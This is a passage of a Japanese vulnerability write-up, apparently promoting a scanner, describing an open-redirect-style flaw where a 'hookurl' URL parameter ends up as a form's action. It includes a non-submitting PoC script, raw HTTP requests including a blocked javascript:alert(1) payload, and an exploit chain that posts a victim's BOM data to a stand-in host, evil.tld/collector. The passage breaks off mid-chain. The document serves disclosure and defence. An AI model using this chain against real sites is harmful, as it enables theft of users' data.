&lt;span class="err"&gt;&amp;bull;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SOURCE&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;URL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;parameter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;hookurl&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="err"&gt;&amp;bull;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STORAGE&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sessionStorage&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="n"&gt;HOOKURL&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;&amp;bull;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TRIGGER&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UI&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;button&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"Go To SHOP"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i18n&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bom&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;go_to_shop&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="err"&gt;&amp;bull;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SINK&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;action&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sessionStorage&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="n"&gt;HOOKURL&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;&amp;bull;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PAYLOAD&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;POST&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;with&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hidden&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fields&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;version&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;JSON&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BOM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="err"&gt;&amp;bull;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TARGET&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_blank&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tab&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;VULNERABILITY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PATTERN&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;User&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;controlled&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flows&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;directly&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;URL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;rarr;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sessionStorage&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;rarr;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;action&lt;/span&gt;
&lt;span class="n"&gt;without&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;any&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;validation&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;or&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;allowlisting&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;この解析は、推測やパターンマッチングによるものではありませんでした。スキャナーは実際に次のことを行いました。&lt;/p&gt;
&lt;p&gt;1) 本番環境のJavaScriptをダウンロードして展開した
2) ミニファイされたwebpackバンドルを解析し、関連するコードを見つけた
3) 複数の関数にまたがるデータフローを理解した
4) ロジックにおける信頼境界の侵害を特定した
5) エクスプロイトチェーン全体をエンドツーエンドでマッピングした&lt;/p&gt;
&lt;p&gt;ほとんどのセキュリティツールは、JavaScriptを「ブラックボックス」として扱います。パラメーターを検出することはあっても、それがどのように使われているかを理解することはありません。当社のスキャナーはコードを読み、理解し、実際の脆弱な経路をマッピングします。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;フェーズ3：安全なエクスプロイトチェーンの検証&lt;/strong&gt;
スキャナーは、外部へのリクエストを行うことなくエクスプロイトチェーンを検証するために、安全な概念実証（PoC）を一通り実行しました。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;生成された安全な傍受スクリプト：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// Scanner created this safe interception PoC&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;os&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;HTMLFormElement&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;prototype&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;submit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;HTMLFormElement&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;prototype&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;submit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'[INTERCEPT] Form submission captured'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;method&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;method&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kr"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;elements&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'hidden'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;}))&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Block actual submission to prevent exfiltration&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// do NOT call os();&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'[SCANNER] sessionStorage hookurl ='&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sessionStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'hookurl'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;})();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;想定されるコンソール出力（スキャナーのテストより）：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;SCANNER&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sessionStorage&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hookurl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;receive&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;INTERCEPT&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Form&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;captured&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;action&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;"https://example.com/receive"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;method&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;"POST"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nl"&gt;target&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;"_blank"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nl"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;
&lt;span class="n"&gt;    {name: "version", value: "1.0"},&lt;/span&gt;
&lt;span class="n"&gt;    {name: "result", value: "{\"bomData\":[...&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="err"&gt;}"}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;フェーズ4：包括的なテスト：生のHTTPエビデンス&lt;/strong&gt;
スキャナーは広範なテストを実施し、生のHTTPリクエストとレスポンスのペアを取得しました。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;受け入れられたペイロード（200 OKのレスポンス）：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;GET&lt;/span&gt; &lt;span class="nn"&gt;/elbridge?version=1.0&amp;amp;country=DEU&amp;amp;language=DEU&amp;amp;hookurl=https://example.com/receive&lt;/span&gt; &lt;span class="kr"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;REDACTED&lt;/span&gt;
&lt;span class="na"&gt;User-Agent&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36&lt;/span&gt;

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Thu, 16 Oct 2025 12:16:27 GMT
ETag: W/"68f0e21b-b4b"
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
Cache-Control: no-cache, no-store, must-revalidate, max-age=0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;ブロックされたペイロード（403 Forbidden）：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;GET&lt;/span&gt; &lt;span class="nn"&gt;/elbridge?version=1.0&amp;amp;country=DEU&amp;amp;language=DEU&amp;amp;hookurl=javascript:alert(1)&lt;/span&gt; &lt;span class="kr"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;REDACTED&lt;/span&gt;

HTTP/1.1 403 Forbidden
Server: AkamaiGHost
Cache-Control: no-cache, no-store, must-revalidate
Content-Type: text/html
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;フェーズ5：状態の追跡とエクスプロイトチェーンの実証&lt;/strong&gt;
スキャナーは、アプリケーションの状態の変化を追跡しました。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;sessionStorageの状態の変化（前後比較）：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// BEFORE visiting /elbridge:&lt;/span&gt;
&lt;span class="nx"&gt;sessionStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'hookurl'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;
&lt;span class="nx"&gt;sessionStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'version'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;

&lt;span class="c1"&gt;// AFTER visiting /elbridge with attacker-controlled params:&lt;/span&gt;
&lt;span class="nx"&gt;sessionStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'hookurl'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'https://evil.tld/collector'&lt;/span&gt;
&lt;span class="nx"&gt;sessionStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'version'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'1.0'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;エクスプロイトチェーンの全体像（スキャナーによる記録）：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;1.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Victim&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;visits&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;REDACTED&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;elbridge&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt;&lt;span class="n"&gt;version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;1.0&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;country&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;DEU&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;language&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;DEU&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;hookurl&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;evil&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tld&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;collector&lt;/span&gt;
&lt;span class="mf"&gt;2.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SPA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stores&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sessionStorage&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'HOOKURL'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://evil.tld/collector"&lt;/span&gt;
&lt;span class="mf"&gt;3.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Victim&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;navigates&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;componentlist&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BOM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;4.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Victim&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;clicks&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Go To SHOP"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;button&lt;/span&gt;
&lt;span class="mf"&gt;5.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SPA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;creates&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;with&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;action&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"https://evil.tld/collector"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;method&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"POST"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"_blank"&lt;/span&gt;
&lt;span class="mf"&gt;6.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Form&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;submits&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;with&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;1.0&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"bomData"&lt;/span&gt;&lt;span class="p"&gt;:[&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span 